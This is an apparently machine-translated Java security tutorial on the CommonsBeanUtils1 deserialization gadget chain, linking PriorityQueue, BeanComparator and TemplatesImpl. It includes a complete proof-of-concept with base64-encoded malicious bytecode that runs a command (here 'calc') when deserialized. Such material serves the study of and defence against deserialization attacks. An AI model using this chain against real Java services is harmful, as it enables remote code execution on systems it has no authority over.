[java security] CommonsBeanUtils1

[java security] CommonsBeanUtils1

foreword

We learned before that java.util.PriorityQueueit is a priority queue in java. Each element of the queue has a priority. When deserializing this object, in order to ensure the order of the queue, the elements in the queue will be sorted, thus calling interface java.io.Comparatormethod compare(), and then perform malicious deserialization operations

Can we find TransformingComparatorother exploitable java.util.Comparatorobjects besides the previously mentioned classes? we need to find outCommons Beanuitls

Apache Commons Beanutils

Before looking for available ones Comparator, we need to know Apache Commons Beanutilsthat it is Apache Commonsa project under the tool set, which provides some operation methods for java class objects (javaBean)

What is javaBean?

final public class Cat {
     
      
    private String name = "catalina";
    public String getName() {
     
      return name;
    }
    public void setName(String name) {
     
      this.name = name;
    }
}

javaBean is a standardized java object, the member variable is private, it provides getter()the sum setter()method of the member variable, conforms to the camel case naming method

Commons BeanutilsA static method is provided inPropertyUtils.getProperty()

public static Object getProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
    
    
        return PropertyUtilsBean.getInstance().getProperty(bean, name);
    }

This method can call getter()the method of any javaBean object

For example:

PropertyUtils.getProperty(new Cat(),'name')

This method calls the method Catof the object getName(), which can be used to call the gettermethod of any object

BeanComparator

We said above that we want to find other java.util.Comparatorclasses that implement

commons-beanutilsThere is a class in BeanComparator:

First look at the construction method:

public BeanComparator() {
    
    
        this((String)null);
    }

public BeanComparator(String property) {
    
    
    this(property, ComparableComparator.getInstance());
}

public BeanComparator(String property, Comparator<?> comparator) {
    
    
    this.setProperty(property);
    if (comparator != null) {
    
    
        this.comparator = comparator;
    } else {
    
    
        this.comparator = ComparableComparator.getInstance();
    }

}

The construction method can be: propertyattribute assignment, which is very important and will be used later

Then look at compare()the method:

package org.apache.commons.beanutils;

public class BeanComparator<T> implements Comparator<T>, Serializable {
    
    

	public int compare(T o1, T o2) {
    
    
        if (this.property == null) {
    
    
            return this.internalCompare(o1, o2);
        } else {
    
    
            try {
    
    
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
    
    
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
    
    
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
    
    
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

}

Let's pay attention to its compare(T o1, T o2)method. property==nullAt that time , it will not callPropertyUtils.getProperty()

if (this.property == null) {
    
    
	return this.internalCompare(o1, o2);
}

PropertyUtils.getProperty()

Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);

It will call the method o1、o2of the property value of the object named propertygetter

This is very important. If you add o1an TemplatesImplobject, you can construct a deserialization utilization chain here.

Let's first review TemplatesImplthe call chain in the previous section:

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

Here getOutputProperties()is getterthe form of the method, and it will call newTransformer()trigger malicious bytecode execution. Therefore, if we PropertyUtils.getProperty(o1, this.property)pass in the first parameter: TemplatesImplobject, and the second parameter propertypasses in the valueoutputProperties

Then TemplatesImpl#getOutputProperties()the method will be called

We can simply test it:

Let's first construct a class of malicious bytecode HelloTemplatesImpl: (note that inheritance is required AbstractTransletto be effective)

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class HelloTemplatesImpl extends AbstractTranslet {
    
    
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    
    

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    
    

    }

    public HelloTemplatesImpl() throws IOException {
    
    
        Runtime.getRuntime().exec("calc"); //构造对象会弹出计算器
    }

}

We compile it to bytecode and base64 encode it

Then write the exploit chain:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field;
import java.util.Base64;

public class CommonsBeanUtils1 {
    
    

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
    
    
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
    
    bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        BeanComparator beanComparator = new BeanComparator("outputProperties");
        beanComparator.compare(obj,null);

    }
}

image-20230802163106973

The calculator did pop up saying it was right

How to call BeanComparator#compare()the method?

We can continue to use PriorityQueuethe class here, its readObject()methods can trigger functions such as sorting, and finally call the method comparatorof the variable compare(), and the formal parameters are passed in to TemplatesImplthe object (note that BeanComparatorthe propertysetting is outputProperties)

PriorityQueue#siftDownUsingComparator()

comparator.compare((E) c, (E) queue[right]) > 0)

When deserializing PriorityQueue#readObject()the method is called, eventually called , and then the method comparator#compare()is calledTemplatesImpl#getOutputProperties()

Construct POC

First construct the object conventionally TemplatesImpl:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
    
    bytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Then construct BeanComparatorthe class, we don't assign propertya value first, to prevent early calling PropertyUtils.getProperty():

BeanComparator comparator = new BeanComparator();

Then create PriorityQueue, the queue size is 2, and comparatorassign member variables to BeanComparatorobjects:

PriorityQueue queue = new PriorityQueue(2, comparator);

Then add 2 irrelevant values ​​into it queue(the reason for this is to prevent add()early triggering comparator.compare())

queue.add(1);
queue.add(1);

After the addition is complete, we will assign queuethe value (used to pass TemplatesImplthe object to the compare method) and the value BeanComparatorofpropertyoutputProperties

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{
    
    obj, obj});

complete POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsBeanUtils1 {
    
    

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    
    
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
    
    
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS".getBytes());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
    
    bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        
        BeanComparator comparator = new BeanComparator();
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{
    
    obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();

    }
}

The calculator can be popped up by calling:

image-20230802173336884

call chain

PriorityQueue#readObject()
	heapify();
		siftDown(i, (E) queue[i]);
			siftDownUsingComparator(k, x);
				BeanComparator#compare(TemplatesImplObj,)
                    PropertyUtils.getProperty(TemplatesImplObj, "outputProperties")
                    	TemplatesImpl#getOutputProperties()
                    		TemplatesImpl#newTransformer()
                    			...
                    				defindClass()

Guess you like

Origin blog.csdn.net/qq_61839115/article/details/132068191